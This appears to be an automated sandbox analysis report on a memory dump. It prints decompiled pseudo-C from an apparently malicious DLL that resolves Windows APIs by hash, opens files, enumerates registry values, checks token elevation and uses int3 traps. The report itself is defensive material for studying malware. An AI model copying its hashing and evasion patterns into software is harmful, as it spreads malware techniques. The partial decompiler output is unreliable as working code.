0x6f3f5b7e
0x6f3f5b7f
0x6f3f5b84
0x6f3f5b85
0x6f3f5b77
0x6f3f5b79
0x6f3f5b79
0x6f3f5b9b
0x6f3f5baf
0x6f3f5b9d
0x6f3f5baa
0x6f3f5bac
0x6f3f5bac
0x6f3f5bb1
0x6f3f5bb6
0x6f3f5bc4
0x6f3f5c2f
0x6f3f5c32
0x00000000
0x6f3f5bc6
0x6f3f5bcb
0x6f3f5c18
0x6f3f5c1a
0x6f3f5c1c
0x6f3f5c26
0x6f3f5c26
0x6f3f5c1c
0x6f3f5bcd
0x6f3f5bd9
0x6f3f5bde
0x6f3f5beb
0x6f3f5bf2
0x6f3f5bfe
0x6f3f5bfe
0x6f3f5bff
0x6f3f5c06
0x6f3f5bf4
0x6f3f5bf4
0x6f3f5bf5
0x6f3f5bf6
0x6f3f5bf8
0x6f3f5bfa
0x6f3f5bfb
0x6f3f5bfb
0x6f3f5bf2

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d15f8a24ec04359da8746605c3e39665ef5b1a4285d7957fa0f4a835ad23e04
Instruction ID: c20734e17f9685d6d2f7b0a1bfdc3b57838b02a60e98a867270124318bdca463
Opcode Fuzzy Hash: 4d15f8a24ec04359da8746605c3e39665ef5b1a4285d7957fa0f4a835ad23e04
Instruction Fuzzy Hash: 87313831386316AEE79026784D84F6F76DAEFD2208F008929BD819A181DB52DC16C331

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E6F3F5B51(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t32;
				WCHAR** _t33;
				long _t37;
				void* _t39;
				void* _t40;

				_t33 = __edi;
				if(__edx != 0) {
					_t37 = 3;
					if(_t21 != 2) {
						_t7 = 3;
						_t22 = 0;
						_t23 =  ==  ? _t7 : _t22;
					} else {
						_t23 = 1;
					}
					if(E6F3F2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
						_push(0);
					} else {
						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
						_push(_t20);
					}
					_t24 =  &(_t33[3]);
					E6F3EC328(_t24);
					if(E6F3EC33C(_t24) != 0) {
						_t33[2] = E6F3F352C(0x80000000);
						_t12 = 0;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
							_t32 = E6F3F2F8C(0x4bcc7cba, 0xceed09cc);
							if(_t32 != 0) {
								 *_t32( *_t24, 0, 0, 2);
							}
						}
						_t39 = _t40 + 8;
						E6F3F35D4(_t39, 0xff, 8);
						_t40 = _t40 + 0xc;
						_t15 = E6F3F2F8C(0x4bcc7cba, 0xaaa9bb);
						if(_t15 == 0) {
							_t12 = 1;
							goto L14;
						} else {
							_push(_t39);
							_push(_t39);
							_push(0);
							_push( *_t24);
							asm("int3");
							return _t15;
						}
					}
				} else {
					__edi[2] = 2;
					_t12 = 0;
					L14:
					return _t12;
				}
			}

0x6f3f5b51
0x6f3f5b53
0x6f3f5b6a
0x6f3f5b75
0x6f3f5b7e
0x6f3f5b84
0x6f3f5b85
0x6f3f5b77
0x6f3f5b79
0x6f3f5b79
0x6f3f5b9b
0x6f3f5baf
0x6f3f5b9d
0x6f3f5baa
0x6f3f5bac
0x6f3f5bac
0x6f3f5bb1
0x6f3f5bb6
0x6f3f5bc4
0x6f3f5c2f
0x6f3f5c32
0x00000000
0x6f3f5bc6
0x6f3f5bcb
0x6f3f5c18
0x6f3f5c1c
0x6f3f5c26
0x6f3f5c26
0x6f3f5c1c
0x6f3f5bcd
0x6f3f5bd9
0x6f3f5bde
0x6f3f5beb
0x6f3f5bf2
0x6f3f5bfe
0x00000000
0x6f3f5bf4
0x6f3f5bf4
0x6f3f5bf5
0x6f3f5bf6
0x6f3f5bf8
0x6f3f5bfa
0x6f3f5bfb
0x6f3f5bfb
0x6f3f5bf2
0x6f3f5b55
0x6f3f5b55
0x6f3f5b5c
0x6f3f5bff
0x6f3f5c06
0x6f3f5c06

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6F3F5BAA

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction ID: e8e0664050ea65ae727d551e2f789f9bcff5115b18cf355f0f43ad248300ead3
Opcode Fuzzy Hash: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction Fuzzy Hash: 95014931386306BAE79016689D81F7B775DDF92254F40C966FC91560C1DB13A8168371

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6F3F5B29(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t31;
				intOrPtr* _t33;
				WCHAR** _t34;
				void* _t38;
				long _t39;
				void* _t41;
				void* _t42;

				_t34 = __edi;
				_t31 = 5;
				_t38 = 2;
				_t39 =  !=  ? _t31 : _t38;
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E6F3F2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E6F3EC328(_t24);
				if(E6F3EC33C(_t24) != 0) {
					_t34[2] = E6F3F352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
						_t33 = E6F3F2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t41 = _t42 + 8;
					E6F3F35D4(_t41, 0xff, 8);
					_t42 = _t42 + 0xc;
					_t15 = E6F3F2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t41);
						_push(_t41);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x6f3f5b29
0x6f3f5b2d
0x6f3f5b30
0x6f3f5b33
0x6f3f5b75
0x6f3f5b7e
0x6f3f5b84
0x6f3f5b85
0x6f3f5b77
0x6f3f5b79
0x6f3f5b79
0x6f3f5b9b
0x6f3f5baf
0x6f3f5b9d
0x6f3f5baa
0x6f3f5bac
0x6f3f5bac
0x6f3f5bb1
0x6f3f5bb6
0x6f3f5bc4
0x6f3f5c2f
0x6f3f5c32
0x00000000
0x6f3f5bc6
0x6f3f5bcb
0x6f3f5c18
0x6f3f5c1c
0x6f3f5c26
0x6f3f5c26
0x6f3f5c1c
0x6f3f5bcd
0x6f3f5bd9
0x6f3f5bde
0x6f3f5beb
0x6f3f5bf2
0x6f3f5bfe
0x6f3f5bff
0x6f3f5c06
0x6f3f5bf4
0x6f3f5bf4
0x6f3f5bf5
0x6f3f5bf6
0x6f3f5bf8
0x6f3f5bfa
0x6f3f5bfb
0x6f3f5bfb
0x6f3f5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6F3F5BAA

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction ID: 4d3a40277297360bfa49cd5774a66988ed72e7536904ac470f7c18c94e60bc9b
Opcode Fuzzy Hash: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction Fuzzy Hash: FC01F231386306BAEB5016685D41F7F7A9DEFD3398F418866BD91660C1DF52AC168231

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6F3F5B3D(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t33;
				WCHAR** _t34;
				long _t38;
				void* _t40;
				void* _t41;

				_t34 = __edi;
				_t38 = 2;
				asm("adc ebp, 0x0");
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E6F3F2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E6F3EC328(_t24);
				if(E6F3EC33C(_t24) != 0) {
					_t34[2] = E6F3F352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
						_t33 = E6F3F2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t40 = _t41 + 8;
					E6F3F35D4(_t40, 0xff, 8);
					_t41 = _t41 + 0xc;
					_t15 = E6F3F2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t40);
						_push(_t40);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x6f3f5b3d
0x6f3f5b44
0x6f3f5b47
0x6f3f5b75
0x6f3f5b7e
0x6f3f5b84
0x6f3f5b85
0x6f3f5b77
0x6f3f5b79
0x6f3f5b79
0x6f3f5b9b
0x6f3f5baf
0x6f3f5b9d
0x6f3f5baa
0x6f3f5bac
0x6f3f5bac
0x6f3f5bb1
0x6f3f5bb6
0x6f3f5bc4
0x6f3f5c2f
0x6f3f5c32
0x00000000
0x6f3f5bc6
0x6f3f5bcb
0x6f3f5c18
0x6f3f5c1c
0x6f3f5c26
0x6f3f5c26
0x6f3f5c1c
0x6f3f5bcd
0x6f3f5bd9
0x6f3f5bde
0x6f3f5beb
0x6f3f5bf2
0x6f3f5bfe
0x6f3f5bff
0x6f3f5c06
0x6f3f5bf4
0x6f3f5bf4
0x6f3f5bf5
0x6f3f5bf6
0x6f3f5bf8
0x6f3f5bfa
0x6f3f5bfb
0x6f3f5bfb
0x6f3f5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6F3F5BAA

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction ID: f9a3713c24e34d8d19d33294bae48674bc233657bbe4af4e33ce43eb5ee0ffd8
Opcode Fuzzy Hash: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction Fuzzy Hash: 03012B31382307BAE75016684D81F7F765EDF92258F408966BD91660C1DF62AC168331

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6F3F5B1F(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E6F3F2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E6F3EC328(_t23);
				if(E6F3EC33C(_t23) != 0) {
					_t31[2] = E6F3F352C(0x100);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E6F3F2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E6F3F35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E6F3F2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x6f3f5b1f
0x6f3f5b26
0x6f3f5b75
0x6f3f5b7e
0x6f3f5b84
0x6f3f5b85
0x6f3f5b77
0x6f3f5b79
0x6f3f5b79
0x6f3f5b9b
0x6f3f5baf
0x6f3f5b9d
0x6f3f5baa
0x6f3f5bac
0x6f3f5bac
0x6f3f5bb1
0x6f3f5bb6
0x6f3f5bc4
0x6f3f5c2f
0x6f3f5c32
0x00000000
0x6f3f5bc6
0x6f3f5bcb
0x6f3f5c18
0x6f3f5c1c
0x6f3f5c26
0x6f3f5c26
0x6f3f5c1c
0x6f3f5bcd
0x6f3f5bd9
0x6f3f5bde
0x6f3f5beb
0x6f3f5bf2
0x6f3f5bfe
0x6f3f5bff
0x6f3f5c06
0x6f3f5bf4
0x6f3f5bf4
0x6f3f5bf5
0x6f3f5bf6
0x6f3f5bf8
0x6f3f5bfa
0x6f3f5bfb
0x6f3f5bfb
0x6f3f5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6F3F5BAA

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction ID: 0bd6a792e469ffd89ce804a4fd9cd6b4ac929f23a27f22832cd810f462bdb1aa
Opcode Fuzzy Hash: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction Fuzzy Hash: 1A012831386307BAEB9016688D81F7F7A5DEF93358F408969BD91660C1DF62AC16C331

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6F3F5B6D(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E6F3F2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E6F3EC328(_t23);
				if(E6F3EC33C(_t23) != 0) {
					_t31[2] = E6F3F352C(0);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E6F3F2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E6F3F35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E6F3F2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x6f3f5b6d
0x6f3f5b71
0x6f3f5b75
0x6f3f5b7e
0x6f3f5b84
0x6f3f5b85
0x6f3f5b77
0x6f3f5b79
0x6f3f5b79
0x6f3f5b9b
0x6f3f5baf
0x6f3f5b9d
0x6f3f5baa
0x6f3f5bac
0x6f3f5bac
0x6f3f5bb1
0x6f3f5bb6
0x6f3f5bc4
0x6f3f5c2f
0x6f3f5c32
0x00000000
0x6f3f5bc6
0x6f3f5bcb
0x6f3f5c18
0x6f3f5c1c
0x6f3f5c26
0x6f3f5c26
0x6f3f5c1c
0x6f3f5bcd
0x6f3f5bd9
0x6f3f5bde
0x6f3f5beb
0x6f3f5bf2
0x6f3f5bfe
0x6f3f5bff
0x6f3f5c06
0x6f3f5bf4
0x6f3f5bf4
0x6f3f5bf5
0x6f3f5bf6
0x6f3f5bf8
0x6f3f5bfa
0x6f3f5bfb
0x6f3f5bfb
0x6f3f5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6F3F5BAA

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction ID: 461a79962960a17cf521d45b35150e1f91a66d1c2ee9b05cf1be22bc86528d1b
Opcode Fuzzy Hash: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction Fuzzy Hash: 94F04C31382307BAEB5016648D81F7F7A5DEF93298F408869BD95660C1DF63A816C371

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6F3F5D7C(void* __ecx, intOrPtr _a4) {
				long _v16;
				long _t4;
				void* _t8;
				void** _t9;
				intOrPtr _t17;
				long* _t18;

				_push(_t16);
				_t8 = __ecx;
				_t17 = _a4;
				if(_t17 != 0) {
					asm("pxor xmm0, xmm0");
					asm("movq [esi], xmm0");
				}
				_t9 = _t8 + 0xc;
				if(E6F3EC33C(_t9) != 0) {
					L7:
					_t4 = 0;
					goto L10;
				} else {
					asm("stosd");
					asm("stosd");
					if(E6F3F2F8C(0x4bcc7cba, 0xceed09cc) == 0) {
						_t4 = 0;
					} else {
						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
					}
					if(_t4 != 0xffffffff) {
						if(_t17 != 0) {
							 *_t18 = _t4;
							asm("movq xmm0, [esp]");
							asm("movq [esi], xmm0");
						}
						L10:
						return _t4;
					} else {
						goto L7;
					}
				}
			}

0x6f3f5d80
0x6f3f5d81
0x6f3f5d83
0x6f3f5d89
0x6f3f5d8b
0x6f3f5d8f
0x6f3f5d8f
0x6f3f5d93
0x6f3f5d9f
0x6f3f5dd3
0x6f3f5dd3
0x00000000
0x6f3f5da1
0x6f3f5da6
0x6f3f5da7
0x6f3f5dbb
0x6f3f5dcc
0x6f3f5dbd
0x6f3f5dc8
0x6f3f5dc8
0x6f3f5dd1
0x6f3f5dd9
0x6f3f5ddb
0x6f3f5dde
0x6f3f5de3
0x6f3f5de3
0x6f3f5de7
0x6f3f5dec
0x00000000
0x00000000
0x00000000
0x6f3f5dd1

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001,CEED09CC,?,?,00000000,00000000,?,6F3F5CB4,?,?), ref: 6F3F5DC8

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction ID: 7b8931d4166b4c2a48f0e32a76590b102897a729313e1f18bd9f739c5ebcdca3
Opcode Fuzzy Hash: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction Fuzzy Hash: 69F02D31A1B7516AD3905A3CDC44BDBB7E5DFD1360F208B2EF590A6180E761E44283B0

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F3F55B8(void* __ecx) {
				long _t9;
				char* _t11;
				void* _t16;
				int _t17;
				int _t18;
				int* _t19;

				_t18 = 0;
				_t17 = _t19[0x48];
				_t16 = __ecx;
				_t11 =  &(_t19[1]);
				 *_t17 = 0;
				 *((intOrPtr*)(_t17 + 4)) = 0;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				while(1) {
					 *_t19 = 0x105;
					if(E6F3F2F8C(0xd0443458, 0x286b2253) == 0) {
						goto L4;
					}
					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
					if(_t9 == 0) {
						goto L4;
					}
					return _t17;
					L4:
					E6F3EE6E8(_t17, _t11,  *_t17);
					_t18 = _t18 + 1;
				}
			}

0x6f3f55c2
0x6f3f55c4
0x6f3f55cb
0x6f3f55cd
0x6f3f55d1
0x6f3f55d3
0x6f3f55d6
0x6f3f55d9
0x6f3f55d9
0x6f3f55f3
0x00000000
0x00000000
0x6f3f5604
0x6f3f5608
0x00000000
0x00000000
0x6f3f5616
0x6f3f5619
0x6f3f561e
0x6f3f5623
0x6f3f5623

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,D0443458,286B2253,?,?,D0443458,286B2253), ref: 6F3F5604

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction ID: a56efae41bad316b2507426c243972cf8c983f9f1f0414a3b8761446333dd84d
Opcode Fuzzy Hash: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction Fuzzy Hash: 4FF0AFB52063096EE7249E1ADC44CB7BBEDEBC1B18F00851EB4E543240DA31A8518AA0

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E6F3F10CC(void* __ecx) {
				void* _v36;
				void* _v44;
				int _t15;
				intOrPtr* _t21;
				void* _t24;
				intOrPtr* _t25;

				_t24 = __ecx;
				 *_t25 = 0;
				_t21 = E6F3F2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t21 == 0) {
					L5:
					return 0;
				}
				_push(_t25);
				_push(8);
				_push(_t24);
				if( *_t21() == 0 || E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
					goto L5;
				} else {
					_t2 = _t25 + 8 - 4; // 0xd0443454
					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
				}
			}

0x6f3f10da
0x6f3f10dc
0x6f3f10ea
0x6f3f10ee
0x6f3f1137
0x00000000
0x6f3f1137
0x6f3f10f3
0x6f3f10f4
0x6f3f10f6
0x6f3f10fb
0x00000000
0x6f3f1114
0x6f3f1118
0x6f3f1125
0x6f3f1129
0x00000000
0x00000000
0x00000000
0x6f3f1132

APIs

GetTokenInformation.KERNELBASE(00000004,00000014,D0443454,00000004,D0443458,D0443458,D0443458), ref: 6F3F1125

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction ID: 80be059c5a3b7e625b56470a93d847f28a875b98f4b52158d60e9cc105fc5807
Opcode Fuzzy Hash: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction Fuzzy Hash: 59F06DB4B05387ABFB04A528AD15FBF33ED5BC1614F50C839B550DA188EB79D94AC321

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6F3F3564(void* __ecx) {
				void* _t3;
				intOrPtr* _t8;
				void* _t12;

				_t12 = __ecx;
				if( *0x6f3fd228 == 0xcd845700) {
					_t8 = E6F3F2F8C(0xa5eabdf8, 0xd926c223);
					 *0x6f3fd22c = E6F3F2F8C(0xa5eabdf8, 0x9b42cb07);
					if( *0x6f3fd228 == 0xcd845700) {
						 *_t8(2, 0, 0, 0, 0, 0); // executed
						 *0x6f3fd228 = 0;
					}
				}
				_t3 = E6F3F2F8C(0xa5eabdf8, 0x80febacc);
				if(_t3 == 0) {
					return 0;
				} else {
					_push(_t12);
					_push(8);
					_push( *0x6f3fd228);
					asm("int3");
					return _t3;
				}
			}

0x6f3f356c
0x6f3f3574
0x6f3f35a7
0x6f3f35b8
0x6f3f35c3
0x6f3f35ce
0x6f3f35d0
0x6f3f35d0
0x6f3f35c3
0x6f3f3580
0x6f3f3587
